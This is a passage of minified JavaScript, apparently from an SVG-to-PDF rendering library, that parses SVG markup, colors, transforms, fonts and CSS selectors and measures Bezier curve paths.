sB,IAAlBA,EAAKT,SAAgB,CACnBS,EAAKX,WAAahoB,GAAMt+D,EAAO3B,KAAK4oF,GACxC,IAAK,IAAIpuF,EAAI,EAAGA,EAAIouF,EAAKR,WAAW1qF,OAAQlD,IAC1CmuF,UAAUC,EAAKR,WAAW5tF,KAJhC,CAOGE,MACIiH,GAuDT,IArDA,IAA2CA,EAAQ2oE,EAA/Cwe,EAAS,IAAIC,EAAahB,EAAIniE,QAAwB9kB,GAAQ,EAC9D6nF,EAAY,SAAZA,YACF,IAAIlB,EAAMnd,EACV,GAAImd,EAAOqB,EAAOj0C,MAAM,mBAAmB,GAAO,CAEhD,IADA,IAAI+zC,EAAO,IAAIZ,EAAQP,EAAK,GAAI,EAAG,KAAM3mF,GAClC2mF,EAAOqB,EAAOj0C,MAAM,wDAAwD,IAAO,CACxF,IAAI4zC,EAAOhB,EAAK,GAAIxqF,EAAQ+rF,eAAevB,EAAK,IAAMA,EAAK,IAAM,IAC5DmB,EAAKtsB,WAAWmsB,IAKnBQ,GAAgB,kCAAoCR,EAAO,KAC3D3nF,GAAQ,IALR8nF,EAAKtsB,WAAWmsB,GAAQxrF,EACX,OAATwrF,IAAgBG,EAAKj+B,GAAK1tD,GACjB,UAATwrF,IAAmBG,EAAKL,UAAYtrF,EAAMsF,MAAM,OAMxD,GAAIumF,EAAOj0C,MAAM,MAAO,CACtB,KAAOy1B,EAAQqe,aACbC,EAAKR,WAAWpoF,KAAKsqE,GACrBA,EAAM+d,WAAaO,EACnBA,EAAKN,aAAmC,IAAnBhe,EAAM6d,UAAqC,IAAnB7d,EAAM6d,SAAiB7d,EAAM4d,UAAY5d,EAAMge,YAE9F,OAAIb,EAAOqB,EAAOj0C,MAAM,sBAAsB,KACxC4yC,EAAK,KAAOmB,EAAKX,WAGnBgB,GAAgB,wCAA0CL,EAAKX,SAAW,gBAAkBR,EAAK,GAAK,KACtG3mF,GAAQ,GAHD8nF,IAOTK,GAAgB,wCAA0CL,EAAKX,SAAW,mBAC1EnnF,GAAQ,EACD8nF,GAEJ,GAAIE,EAAOj0C,MAAM,QACtB,OAAO+zC,EAEPK,GAAgB,sCAAwCL,EAAKX,SAAW,KACxEnnF,GAAQ,MAEL,IAAI2mF,EAAOqB,EAAOj0C,MAAM,oBAC7B,OAAO,IAAImzC,EAAQ,KAAM,EAAGP,EAAM3mF,GAC7B,GAAI2mF,EAAOqB,EAAOj0C,MAAM,mBAC7B,OAAO,IAAImzC,EAAQ,KAAM,EAAGP,EAAM3mF,GAC7B,GAAI2mF,EAAOqB,EAAOj0C,MAAM,4BAC7B,OAAO,IAAImzC,EAAQ,KAAM,GAAIP,EAAM3mF,GAC9B,GAAI2mF,EAAOqB,EAAOj0C,MAAM,+BAA+B,GAC5D,OAAO,IAAImzC,EAAQ,iBAAkB,EAAGP,EAAK,GAAI3mF,GAC5C,GAAI2mF,EAAOqB,EAAOj0C,MAAM,YAAY,GACzC,OAAO,IAAImzC,EAAQ,QAAS,EAAGgB,eAAevB,EAAK,IAAK3mF,KAGrDwpE,EAAQqe,KACU,IAAnBre,EAAM6d,UAAmBxmF,GAEC,IAAnB2oE,EAAM6d,UAAsC,IAAnB7d,EAAM6d,UAA6C,KAA3B7d,EAAM4d,UAAUtiE,SAC1EqjE,GAAgB,wDAFhBtnF,EAAS2oE,EAQb,OAHIwe,EAAOI,YACTD,GAAgB,2BAEXtnF,EAET,SAASqnF,eAAe1jF,GACtB,OAAOA,EAAImG,QAAQ,uDAAuD,SAAS09E,EAAIlhC,EAAIC,EAAIC,GAC7F,OAAIF,EAAY/+C,OAAO2b,aAAavB,SAAS2kC,EAAI,KACxCC,EAAYh/C,OAAO2b,aAAavB,SAAS4kC,EAAI,KAC7CC,GAAMguB,EAAShuB,GAAaj/C,OAAO2b,aAAasxD,EAAShuB,IACrDghC,KAGjB,SAASC,WAAWC,GAClB,IAAI5B,EAAM9lF,EAwBV,OAvBA0nF,GAAOA,GAAO,IAAIzjE,QACd6hE,EAAO1R,EAAYsT,IACrB1nF,EAAS,CAAC8lF,EAAK7kF,QAAS,IACf6kF,EAAO4B,EAAIx0C,MAAM,6EAC1B4yC,EAAK,GAAKnkE,SAASmkE,EAAK,IAAKA,EAAK,GAAKnkE,SAASmkE,EAAK,IAAKA,EAAK,GAAKnkE,SAASmkE,EAAK,IAAKA,EAAK,GAAK6B,WAAW7B,EAAK,IAC7GA,EAAK,GAAK,KAAOA,EAAK,GAAK,KAAOA,EAAK,GAAK,KAAOA,EAAK,IAAM,IAChE9lF,EAAS,CAAC8lF,EAAK7kF,MAAM,EAAG,GAAI6kF,EAAK,OAE1BA,EAAO4B,EAAIx0C,MAAM,4DAC1B4yC,EAAK,GAAKnkE,SAASmkE,EAAK,IAAKA,EAAK,GAAKnkE,SAASmkE,EAAK,IAAKA,EAAK,GAAKnkE,SAASmkE,EAAK,IAC9EA,EAAK,GAAK,KAAOA,EAAK,GAAK,KAAOA,EAAK,GAAK,MAC9C9lF,EAAS,CAAC8lF,EAAK7kF,MAAM,EAAG,GAAI,MAErB6kF,EAAO4B,EAAIx0C,MAAM,kEAC1B4yC,EAAK,GAAK,KAAO6B,WAAW7B,EAAK,IAAKA,EAAK,GAAK,KAAO6B,WAAW7B,EAAK,IAAKA,EAAK,GAAK,KAAO6B,WAAW7B,EAAK,IACzGA,EAAK,GAAK,KAAOA,EAAK,GAAK,KAAOA,EAAK,GAAK,MAC9C9lF,EAAS,CAAC8lF,EAAK7kF,MAAM,EAAG,GAAI,MAErB6kF,EAAO4B,EAAIx0C,MAAM,gDAC1BlzC,EAAS,CAAC,CAAC2hB,SAASmkE,EAAK,GAAI,IAAKnkE,SAASmkE,EAAK,GAAI,IAAKnkE,SAASmkE,EAAK,GAAI,KAAM,IACxEA,EAAO4B,EAAIx0C,MAAM,yCAC1BlzC,EAAS,CAAC,CAAC,GAAO2hB,SAASmkE,EAAK,GAAI,IAAK,GAAOnkE,SAASmkE,EAAK,GAAI,IAAK,GAAOnkE,SAASmkE,EAAK,GAAI,KAAM,IAEjG8B,GAAgBA,GAAc5nF,EAAQ0nF,GAAO1nF,EAEtD,SAAS6nF,eAAetkC,EAAOC,EAASskC,GACtC,IAAIC,EAAWxkC,EAAM,GAAGtiD,QACpB+mF,EAAazkC,EAAM,GAAKC,EAC5B,GAAIskC,EAAQ,CACV,IAAK,IAAIjvF,EAAI,EAAGA,EAAI0qD,EAAMxnD,OAAQlD,IAChCkvF,EAASlvF,IAAMmvF,EAEjB,MAAO,CAACD,EAAU,GAElB,MAAO,CAACA,EAAUC,GAGtB,SAASjC,iBACP,SAASkC,SAASrvF,EAAGqF,GACnB,MAAO,CAAErF,EAAE,GAAGqF,EAAE,GAAGrF,EAAE,GAAGqF,EAAE,GAAIrF,EAAE,GAAGqF,EAAE,GAAGrF,EAAE,GAAGqF,EAAE,GAAIrF,EAAE,GAAGqF,EAAE,GAAGrF,EAAE,GAAGqF,EAAE,GAC3DrF,EAAE,GAAGqF,EAAE,GAAGrF,EAAE,GAAGqF,EAAE,GAAIrF,EAAE,GAAGqF,EAAE,GAAGrF,EAAE,GAAGqF,EAAE,GAAGrF,EAAE,GAAIA,EAAE,GAAGqF,EAAE,GAAGrF,EAAE,GAAGqF,EAAE,GAAGrF,EAAE,IAGhF,IADA,IAAIoH,EAASlE,UAAU,GACdjD,EAAI,EAAGA,EAAIiD,UAAUC,OAAQlD,IACpCmH,EAASioF,SAASjoF,EAAQlE,UAAUjD,IAEtC,OAAOmH,EAET,SAASkoF,eAAe5kF,EAAGqd,GACzB,MAAO,CAACA,EAAE,GAAKrd,EAAE,GAAKqd,EAAE,GAAKrd,EAAE,GAAKqd,EAAE,GAAIA,EAAE,GAAKrd,EAAE,GAAKqd,EAAE,GAAKrd,EAAE,GAAKqd,EAAE,IAE1E,SAASwnE,kBAEP,IADA,IAAIC,EAAM3kC,EAAIuS,KACLn9D,EAAImsF,GAAWjpF,OAAS,EAAGlD,GAAK,EAAGA,IAC1CuvF,EAAMrC,eAAef,GAAWnsF,GAAGisF,YAAasD,GAElD,OAAOA,EAET,SAASC,cACP,OAAO,IAAIC,GAAW7zD,EAAE,EAAG,GAAGg+B,EAAEhP,EAAI0B,KAAKnR,MAAO,GAAGye,EAAEhP,EAAI0B,KAAKnR,MAAOyP,EAAI0B,KAAKlR,QAAQwe,EAAE,EAAGhP,EAAI0B,KAAKlR,QAC9E2lB,UAAU2uB,cAAcJ,oBAAoBK,iBAEpE,SAASD,cAAc5nE,GACrB,IAAI8nE,EAAK9nE,EAAE,GAAKA,EAAE,GAAKA,EAAE,GAAKA,EAAE,GAChC,MAAO,CAACA,EAAE,GAAK8nE,GAAK9nE,EAAE,GAAK8nE,GAAK9nE,EAAE,GAAK8nE,EAAI9nE,EAAE,GAAK8nE,GAAK9nE,EAAE,GAAGA,EAAE,GAAKA,EAAE,GAAGA,EAAE,IAAM8nE,GAAK9nE,EAAE,GAAGA,EAAE,GAAKA,EAAE,GAAGA,EAAE,IAAM8nE,GAEhH,SAASC,eAAe/nE,GACtB,IAAI2lC,EAAKjgC,eAAe1F,EAAE,IAAK4lC,EAAKlgC,eAAe1F,EAAE,IAAK6lC,EAAKngC,eAAe1F,EAAE,IAC5E8lC,EAAKpgC,eAAe1F,EAAE,IAAK+lC,EAAKrgC,eAAe1F,EAAE,IAAKgmC,EAAKtgC,eAAe1F,EAAE,IAChF,GAAIgoE,WAAWriC,EAAKG,EAAKF,EAAKC,EAAI,GAChC,MAAO,CAACF,EAAIC,EAAIC,EAAIC,EAAIC,EAAIC,GAGhC,SAASiiC,cAAcC,GACrB,IAAIjwF,EAAIiwF,EAAM,IAAM,EAAG5qF,EAAI4qF,EAAM,IAAM,EAAGlsE,EAAIksE,EAAM,IAAM,EAC1D,GAAIhZ,QAAQj3E,EAAG,IAAMi3E,QAAQ5xE,EAAG,GAC9B,MAAO,GACF,GAAI4xE,QAAQj3E,EAAG,GACpB,MAAO,EAAG+jB,EAAK1e,GAEf,IAAI+0B,EAAI/0B,EAAIA,EAAI,EAAIrF,EAAI+jB,EACxB,OAAIgsE,WAAW31D,EAAG,IAAMA,EAAI,EACnB,GAAG/0B,EAAIoI,KAAK6iC,KAAKlW,KAAO,EAAIp6B,KAAMqF,EAAIoI,KAAK6iC,KAAKlW,KAAO,EAAIp6B,IACzDi3E,QAAQ78C,EAAG,GACb,EAAG/0B,GAAM,EAAIrF,IAEb,GAIb,SAASkwF,cAAcx1D,EAAGu1D,GACxB,OAAQA,EAAM,IAAM,IAAMA,EAAM,IAAM,GAAKv1D,GAAKu1D,EAAM,IAAM,GAAKv1D,EAAIA,GAAKu1D,EAAM,IAAM,GAAKv1D,EAAIA,EAAIA,EAErG,SAASu8C,QAAQjgD,EAAQ6tB,GACvB,OAAOp3C,KAAKwjB,IAAI+F,EAAS6tB,GAAO,MAElC,SAASkrC,WAAW/4D,EAAQ6tB,GAC1B,OAAOp3C,KAAKwjB,IAAI+F,EAAS6tB,IAAQ,MAEnC,SAASp3B,eAAe3F,GACtB,OAAOA,GAAK,MAAQA,EAAI,KAAOra,KAAK4uB,MAAU,IAAJvU,GAAW,IAAM,EAK7D,SAASqoE,cAAc7xC,GAErB,IADA,IAA8E4uC,EAA1EqB,EAAS,IAAIC,GAAclwC,GAAK,IAAIjzB,QAASjkB,EAAS,CAAC,EAAG,EAAG,EAAG,EAAG,EAAG,GACnE8lF,EAAOqB,EAAOj0C,MAAM,gCAAgC,IAAO,CAEhE,IADA,IAAI81C,EAAOlD,EAAK,GAAImD,EAAO,GAAIC,EAAU,IAAI9B,EAAatB,EAAK,GAAG7hE,QAASklE,OAAK,EACzEA,EAAQD,EAAQE,eACrBH,EAAK5qF,KAAKqN,OAAOy9E,IACjBD,EAAQG,iBAEV,GAAa,WAATL,GAAqC,IAAhBC,EAAKltF,OAC5BiE,EAAS+lF,eAAe/lF,EAAQ,CAACipF,EAAK,GAAIA,EAAK,GAAIA,EAAK,GAAIA,EAAK,GAAIA,EAAK,GAAIA,EAAK,UAC9E,GAAa,cAATD,GAAwC,IAAhBC,EAAKltF,OACtCiE,EAAS+lF,eAAe/lF,EAAQ,CAAC,EAAG,EAAG,EAAG,EAAGipF,EAAK,GAAIA,EAAK,UACtD,GAAa,cAATD,GAAwC,IAAhBC,EAAKltF,OACtCiE,EAAS+lF,eAAe/lF,EAAQ,CAAC,EAAG,EAAG,EAAG,EAAGipF,EAAK,GAAI,SACjD,GAAa,UAATD,GAAoC,IAAhBC,EAAKltF,OAClCiE,EAAS+lF,eAAe/lF,EAAQ,CAACipF,EAAK,GAAI,EAAG,EAAGA,EAAK,GAAI,EAAG,SACvD,GAAa,UAATD,GAAoC,IAAhBC,EAAKltF,OAClCiE,EAAS+lF,eAAe/lF,EAAQ,CAACipF,EAAK,GAAI,EAAG,EAAGA,EAAK,GAAI,EAAG,SACvD,GAAa,WAATD,GAAqC,IAAhBC,EAAKltF,OAAc,CACjD,IAAInD,EAAIqwF,EAAK,GAAK5iF,KAAKijF,GAAK,IAC5BtpF,EAAS+lF,eAAe/lF,EAAQ,CAAC,EAAG,EAAG,EAAG,EAAGipF,EAAK,GAAIA,EAAK,IAAK,CAAC5iF,KAAK6zD,IAAIthE,GAAIyN,KAAKs6B,IAAI/nC,IAAKyN,KAAKs6B,IAAI/nC,GAAIyN,KAAK6zD,IAAIthE,GAAI,EAAG,GAAI,CAAC,EAAG,EAAG,EAAG,GAAIqwF,EAAK,IAAKA,EAAK,UACrJ,GAAa,WAATD,GAAqC,IAAhBC,EAAKltF,OAAc,CACjD,IAAInD,EAAIqwF,EAAK,GAAK5iF,KAAKijF,GAAK,IAC5BtpF,EAAS+lF,eAAe/lF,EAAQ,CAACqG,KAAK6zD,IAAIthE,GAAIyN,KAAKs6B,IAAI/nC,IAAKyN,KAAKs6B,IAAI/nC,GAAIyN,KAAK6zD,IAAIthE,GAAI,EAAG,SACpF,GAAa,UAATowF,GAAoC,IAAhBC,EAAKltF,OAAc,CAChD,IAAInD,EAAIqwF,EAAK,GAAK5iF,KAAKijF,GAAK,IAC5BtpF,EAAS+lF,eAAe/lF,EAAQ,CAAC,EAAG,EAAGqG,KAAKmrD,IAAI54D,GAAI,EAAG,EAAG,QACrD,IAAa,UAATowF,GAAoC,IAAhBC,EAAKltF,OAG5B,OAFN,IAAInD,EAAIqwF,EAAK,GAAK5iF,KAAKijF,GAAK,IAC5BtpF,EAAS+lF,eAAe/lF,EAAQ,CAAC,EAAGqG,KAAKmrD,IAAI54D,GAAI,EAAG,EAAG,EAAG,IAE5DuuF,EAAOkC,iBAET,IAAIlC,EAAOI,WACX,OAAOvnF,EAET,SAASupF,iBAAiBC,EAAaC,EAAYC,EAAaC,EAAWC,EAAYC,GACrF,IAAI/D,GAAQ0D,GAAe,IAAIvlE,OAAOivB,MAAM,gEAAkE,GAC1G42C,EAAYhE,EAAK,IAAMA,EAAK,IAAM,OAClCiE,EAASjE,EAAK,IAAM,MACpBkE,EAASlE,EAAK,IAAM,MACpBmE,EAASR,EAAaE,EACtBO,EAASR,EAAcE,EACvB/zC,EAAK,CAAC,IAAM,EAAG,IAAM,GAAK,IAAM,GAAGk0C,IAAWF,GAAa,GAC3D/zC,EAAK,CAAC,IAAM,EAAG,IAAM,GAAK,IAAM,GAAGk0C,IAAWH,GAAa,GAM/D,MALkB,UAAdC,EACFI,EAASD,EAAS5jF,KAAKM,IAAIsjF,EAAQC,GACZ,SAAdJ,IACTI,EAASD,EAAS5jF,KAAKiH,IAAI28E,EAAQC,IAE9B,CAACD,EAAQ,EAAG,EAAGC,EAAQr0C,GAAM4zC,EAAaE,EAAYM,GAASn0C,GAAM4zC,EAAcE,EAAaM,IAEzG,SAASC,eAAejzC,GACtB,IAAIl3C,EAAS3F,OAAOsI,OAAO,MAC3Bu0C,GAAKA,GAAK,IAAIjzB,OAAOrjB,MAAM,KAC3B,IAAK,IAAI/H,EAAI,EAAGA,EAAIq+C,EAAEn7C,OAAQlD,IAAK,CACjC,IAAIiF,GAAOo5C,EAAEr+C,GAAG+H,MAAM,KAAK,IAAM,IAAIqjB,OACjC3oB,GAAS47C,EAAEr+C,GAAG+H,MAAM,KAAK,IAAM,IAAIqjB,OACnCnmB,IACFkC,EAAOlC,GAAOxC,GAQlB,GALI0E,EAAM,SACHA,EAAO,kBAAkBA,EAAO,gBAAkBA,EAAM,QACxDA,EAAO,gBAAgBA,EAAO,cAAgBA,EAAM,QACpDA,EAAO,gBAAgBA,EAAO,cAAgBA,EAAM,SAEvDA,EAAM,KAAU,CAGlB,IAFA,IAAIoqF,EAAa,KAAM7pB,EAAW,KAAM8pB,EAAY,SAAUC,EAAa,SAAUC,EAAc,SAC/FC,EAAQxqF,EAAM,KAASY,MAAM,OACxB/H,EAAI,EAAGA,EAAI2xF,EAAMzuF,OAAQlD,IAChC,OAAQ2xF,EAAM3xF,IACZ,IAAK,SACH,MACF,IAAK,SAAU,IAAK,UAClBwxF,EAAYG,EAAM3xF,GAClB,MACF,IAAK,aACH0xF,EAAcC,EAAM3xF,GACpB,MACF,IAAK,OAAQ,IAAK,SAAU,IAAK,UAAW,IAAK,MAAO,IAAK,MAAO,IAAK,MACzE,IAAK,MAAO,IAAK,MAAO,IAAK,MAAO,IAAK,MAAO,IAAK,MAAO,IAAK,MAC/DyxF,EAAaE,EAAM3xF,GACnB,MACF,QACO0nE,EAGE6pB,EAGHA,GAAc,IAAMI,EAAM3xF,GAF1BuxF,EAAaI,EAAM3xF,GAHrB0nE,EAAWiqB,EAAM3xF,GAAG+H,MAAM,KAAK,GAWlCZ,EAAO,gBAAgBA,EAAO,cAAgBqqF,GAC9CrqF,EAAO,kBAAkBA,EAAO,gBAAkBuqF,GAClDvqF,EAAO,iBAAiBA,EAAO,eAAiBsqF,GAChDtqF,EAAO,eAAeA,EAAO,aAAeugE,GAC5CvgE,EAAO,iBAAiBA,EAAO,eAAiBoqF,GAEvD,OAAOpqF,EAET,SAASyqF,cAAcvzC,GAErB,IADA,IAAqE4uC,EAAjE0E,EAAQtzC,EAAEt2C,MAAM,aAAc8pF,EAAM,GAAIC,EAAU,GAAIC,EAAO,GACxD/xF,EAAI,EAAGA,EAAI2xF,EAAMzuF,OAAQlD,IAChC,GAAIitF,EAAO0E,EAAM3xF,GAAGq6C,MAAM,yBACxBw3C,EAAIrsF,KAAKynF,EAAK,SACT,GAAIA,EAAO0E,EAAM3xF,GAAGq6C,MAAM,yBAC/By3C,EAAQtsF,KAAKynF,EAAK,SACb,GAAIA,EAAO0E,EAAM3xF,GAAGq6C,MAAM,sBAC/B03C,EAAKvsF,KAAKynF,EAAK,SACV,GAAiB,MAAb0E,EAAM3xF,GACf,OAGJ,MAAO,CACL+xF,KAAMA,EAAMF,IAAKA,EAAKC,QAASA,EAC/BE,YAA0B,IAAbH,EAAI3uF,OAAkC,IAAjB4uF,EAAQ5uF,OAAe6uF,EAAK7uF,QAGlE,SAAS+uF,gBAAgB5zC,GAEvB,IADA,IAAqDsiB,EAAjD2tB,EAAS,IAAIC,EAAalwC,EAAEjzB,QAAS8mE,EAAQ,GAC1CvxB,EAAO2tB,EAAOj0C,MAAM,qCAAqC,IAG9D,IAFA,IAAI83C,EAAYxxB,EAAK,GAAG54D,MAAM,YAC1B2jF,EAAM4F,eAAe3wB,EAAK,IACrB3gE,EAAI,EAAGA,EAAImyF,EAAUjvF,OAAQlD,IAAK,CACzC,IAAIoyF,EAAWR,cAAcO,EAAUnyF,IACnCoyF,GACFF,EAAM1sF,KAAK,CAAC4sF,SAAUA,EAAU1G,IAAIA,IAI1C,OAAOwG,EAET,SAASG,gBAAgBC,EAAMF,GAC7B,GAAsB,IAAlBE,EAAK3E,SAAiB,OAAO,EACjC,IAAK,IAAI3tF,EAAI,EAAGA,EAAIoyF,EAASL,KAAK7uF,OAAQlD,IACxC,GAAIoyF,EAASL,KAAK/xF,KAAOsyF,EAAK7E,SAAW,OAAO,EAElD,IAAK,IAAIztF,EAAI,EAAGA,EAAIoyF,EAASP,IAAI3uF,OAAQlD,IACvC,GAAIoyF,EAASP,IAAI7xF,KAAOsyF,EAAKniC,GAAK,OAAO,EAE3C,IAAK,IAAInwD,EAAI,EAAGA,EAAIoyF,EAASN,QAAQ5uF,OAAQlD,IAC3C,IAAqD,IAAjDsyF,EAAKvE,UAAU5lF,QAAQiqF,EAASN,QAAQ9xF,IAAa,OAAO,EAElE,OAAO,EAkBT,SAASuyF,cAAcC,EAAQC,GAC7B,OAAOD,EAAOjvF,OAAOkvF,EAAOrqF,MAAMoqF,EAAOtvF,SAE3C,SAASwvF,UAAUjvB,EAAM3tD,GACvB,OAAOtI,KAAKM,IAAI21D,EAAKzB,UAAWyB,EAAK1B,KAAK,IAAM0B,EAAK1B,KAAK4wB,OAASlvB,EAAKnC,OAAS,IAAMxrD,EAAO,IAEhG,SAAS88E,WAAWnvB,EAAM3tD,GACxB,OAAOtI,KAAKiH,IAAIgvD,EAAK4H,WAAY5H,EAAK1B,KAAK,IAAM0B,EAAK1B,KAAK8wB,OAASpvB,EAAKnC,OAAS,IAAMxrD,EAAO,IAyBjG,SAASg9E,WAAWrvB,EAAM3tD,EAAMilC,GAE9B,IADA,IAAIyoB,EAAUC,EAAKhmD,OAAO,GAAKs9B,GAAOuU,EAAMkU,EAAQ,GAAIt7D,EAAMs7D,EAAQ,GAAIr/C,EAAO,GACxEnkB,EAAI,EAAGA,EAAIsvD,EAAIpsD,OAAQlD,IAAK,CACnC,IAAIklE,EAAUzB,EAAKyB,QAAUzB,EAAKyB,QAAQp8C,SAASwmC,EAAItvD,GAAI,KAAO,CAAC+6C,EAAK5mC,WAAWnU,IACnFmkB,EAAK3e,KAAK,CACR+8D,MAAOjT,EAAItvD,GACXklE,QAASA,EACT/pB,MAAOjzC,EAAIlI,GAAGkkE,aAAepuD,EAAO,IACpCkuD,QAAS97D,EAAIlI,GAAGgkE,QAAUluD,EAAO,IACjCmuD,QAAS/7D,EAAIlI,GAAGikE,QAAUnuD,EAAO,IACjCguD,SAAU57D,EAAIlI,GAAG8jE,SAAWhuD,EAAO,IACnCiuD,SAAU77D,EAAIlI,GAAG+jE,SAAWjuD,EAAO,MAGvC,OAAOqO,EAET,SAAS4uE,iBAAiB3yF,EAAK4yF,GAC7B,OAAQ5yF,EAAIqtF,UACV,IAAK,MAAO,OAAO,IAAIwF,EAAW7yF,EAAK4yF,GACvC,IAAK,SAAU,OAAO,IAAIE,EAAc9yF,EAAK4yF,GAC7C,IAAK,IAAK,OAAO,IAAIG,EAAa/yF,EAAK4yF,GACvC,IAAK,IAAK,OAAO,IAAII,EAAYhzF,EAAK4yF,GACtC,IAAK,MAAO,OAAO,IAAIK,EAAWjzF,EAAK4yF,GACvC,IAAK,QAAS,OAAO,IAAIM,EAAalzF,EAAK4yF,GAC3C,IAAK,OAAQ,OAAO,IAAIO,GAAYnzF,EAAK4yF,GACzC,IAAK,SAAU,OAAO,IAAIQ,GAAcpzF,EAAK4yF,GAC7C,IAAK,UAAW,OAAO,IAAIS,GAAerzF,EAAK4yF,GAC/C,IAAK,OAAQ,OAAO,IAAIU,GAAYtzF,EAAK4yF,GACzC,IAAK,WAAY,OAAO,IAAIW,GAAgBvzF,EAAK4yF,GACjD,IAAK,UAAW,OAAO,IAAIY,GAAexzF,EAAK4yF,GAC/C,IAAK,OAAQ,OAAO,IAAIa,GAAYzzF,EAAK4yF,GACzC,IAAK,OAAQ,OAAO,IAAIc,GAAY1zF,EAAK4yF,GACzC,IAAK,QAAS,OAAO,IAAIe,GAAa3zF,EAAK4yF,GAC3C,IAAK,WAAY,OAAO,IAAIgB,GAAgB5zF,EAAK4yF,GACjD,IAAK,QAAS,IAAK,iBAAkB,OAAO,IAAIiB,GAAgB7zF,EAAK4yF,GACrE,QAAS,OAAO,IAAIkB,EAAQ9zF,EAAK4yF,IAIrC,IAAIzE,EAAe,SAAfA,aAAwBzjF,GAC1B5K,KAAKm6C,MAAQ,SAAS2/B,EAAKma,GACzB,IAAIlH,EAAOniF,EAAIuvC,MAAM2/B,GACrB,GAAKiT,GAAuB,IAAfA,EAAKnsE,MAElB,OADAhW,EAAMA,EAAIG,UAAUgiF,EAAK,GAAG/pF,QACpBixF,EAAMlH,EAAOA,EAAK,IAE5B/sF,KAAKswF,eAAiB,WACpB,OAAOtwF,KAAKm6C,MAAM,sBAEpBn6C,KAAKk0F,WAAa,WAChB,OAAOl0F,KAAKm6C,MAAM,aAEpBn6C,KAAKm0F,gBAAkB,WACrB,OAAOn0F,KAAKm6C,MAAM,oCAEpBn6C,KAAKqwF,YAAc,WACjB,OAAOrwF,KAAKm6C,MAAM,iFAEpBn6C,KAAKwuF,SAAW,WACd,OAAOxuF,KAAKm6C,MAAM,cAIlBi6C,EAAgB,SAAhBA,cAAyBC,EAAKC,EAAKC,EAAKC,EAAKC,EAAKC,EAAKC,EAAKC,GAO9D,IANA,IAAIC,EAAY,EAAIC,GAChBC,EAAY,CAACV,GAAM,EAAIA,EAAM,EAAIE,EAAK,EAAIF,EAAM,EAAIE,EAAM,EAAIE,EAAY,EAAIF,EAAVF,EAAgB,EAAII,EAAME,GAC9FK,EAAY,CAACV,GAAM,EAAIA,EAAM,EAAIE,EAAK,EAAIF,EAAM,EAAIE,EAAM,EAAIE,EAAY,EAAIF,EAAVF,EAAgB,EAAII,EAAME,GAC9FK,EAAc,EAAE,EAAIZ,EAAM,EAAIE,EAAK,EAAIF,EAAM,GAAKE,EAAM,EAAIE,GAAM,EAAIJ,EAAM,EAAIE,EAAM,EAAIE,EAAM,EAAIE,GACpGO,EAAc,EAAE,EAAIZ,EAAM,EAAIE,EAAK,EAAIF,EAAM,GAAKE,EAAM,EAAIE,GAAM,EAAIJ,EAAM,EAAIE,EAAM,EAAIE,EAAM,EAAIE,GACpGO,EAAY,CAAC,GACRr1F,EAAI,EAAGA,GAAK+0F,EAAW/0F,IAAK,CACnC,IAAIy6B,GAAKz6B,EAAI,IAAO+0F,EAChB/3C,EAAKizC,cAAcx1D,EAAG06D,GAAeJ,EACrC93C,EAAKgzC,cAAcx1D,EAAG26D,GAAeL,EACrCv0C,EAAIhzC,KAAK6iC,KAAK2M,EAAKA,EAAKC,EAAKA,GACjCo4C,EAAUr1F,GAAKq1F,EAAUr1F,EAAI,GAAKwgD,EAEpCtgD,KAAKo1F,YAAcD,EAAUN,GAC7B70F,KAAKq1F,WAAa,CAAChB,EAAKC,EAAKxd,QAAQud,EAAKE,IAAQzd,QAAQwd,EAAKE,GAAOlnF,KAAKgoF,MAAMZ,EAAMF,EAAKC,EAAMF,GAAOjnF,KAAKgoF,MAAMd,EAAMF,EAAKC,EAAMF,IACrIr0F,KAAKu1F,SAAW,CAACZ,EAAKC,EAAK9d,QAAQ2d,EAAKE,IAAQ7d,QAAQ4d,EAAKE,GAAOtnF,KAAKgoF,MAAMZ,EAAMF,EAAKC,EAAMF,GAAOjnF,KAAKgoF,MAAMV,EAAMF,EAAKC,EAAMF,IACnIz0F,KAAKyvF,eAAiB,WACpB,IAAI1C,EACAyI,EAAOzF,cAAc,EAAGgF,GAAYpC,EAAO5C,cAAc,EAAGiF,GAC5DS,EAAO1F,cAAc,EAAGgF,GAAYtC,EAAO1C,cAAc,EAAGiF,GAC5DQ,EAAOC,IAAO1I,EAAO0I,EAAMA,EAAOD,EAAMA,EAAOzI,GAC/C4F,EAAOF,IAAO1F,EAAO0F,EAAMA,EAAOE,EAAMA,EAAO5F,GAEnD,IADA,IAAI2I,EAAS7F,cAAcoF,GAClBn1F,EAAI,EAAGA,EAAI41F,EAAO1yF,OAAQlD,IACjC,GAAI41F,EAAO51F,IAAM,GAAK41F,EAAO51F,IAAM,EAAG,CACpC,IAAIuU,EAAI07E,cAAc2F,EAAO51F,GAAIi1F,GAC7B1gF,EAAImhF,IAAOA,EAAOnhF,GAClBA,EAAIohF,IAAOA,EAAOphF,GAI1B,IADA,IAAIshF,EAAS9F,cAAcqF,GAClBp1F,EAAI,EAAGA,EAAI61F,EAAO3yF,OAAQlD,IACjC,GAAI61F,EAAO71F,IAAM,GAAK61F,EAAO71F,IAAM,EAAG,CACpC,IAAIwU,EAAIy7E,cAAc4F,EAAO71F,GAAIk1F,GAC7B1gF,EAAIq+E,IAAOA,EAAOr+E,GAClBA,EAAIm+E,IAAOA,EAAOn+E,GAG1B,MAAO,CAACkhF,EAAM7C,EAAM8C,EAAMhD,IAE5BzyF,KAAK41F,iBAAmB,SAASt1C,GAC/B,GAAIw2B,QAAQx2B,EAAG,GAAK,OAAOtgD,KAAKq1F,WAChC,GAAIve,QAAQx2B,EAAGtgD,KAAKo1F,aAAe,OAAOp1F,KAAKu1F,SAC/C,KAAIj1C,EAAI,GAAKA,EAAItgD,KAAKo1F,aACtB,IAAK,IAAIt1F,EAAI,EAAGA,GAAK+0F,EAAW/0F,IAAK,CACnC,IAAI+1F,EAAKV,EAAUr1F,EAAE,GAAIg2F,EAAKX,EAAUr1F,GACxC,GAAI+1F,GAAMv1C,GAAKA,GAAKw1C,EAAI,CACtB,IAAIv7D,GAAKz6B,GAAKg2F,EAAKx1C,IAAMw1C,EAAKD,IAAOhB,EACjCxgF,EAAI07E,cAAcx1D,EAAGw6D,GAAYzgF,EAAIy7E,cAAcx1D,EAAGy6D,GACtDl4C,EAAKizC,cAAcx1D,EAAG06D,GAAcl4C,EAAKgzC,cAAcx1D,EAAG26D,GAC9D,MAAO,CAAC7gF,EAAGC,EAAGhH,KAAKgoF,MAAMv4C,EAAID,QAMjCi5C,EAAc,SAAdA,YAAuB1B,EAAKC,EAAKK,EAAKC,GACxC50F,KAAKo1F,YAAc9nF,KAAK6iC,MAAMwkD,EAAMN,IAAQM,EAAMN,IAAQO,E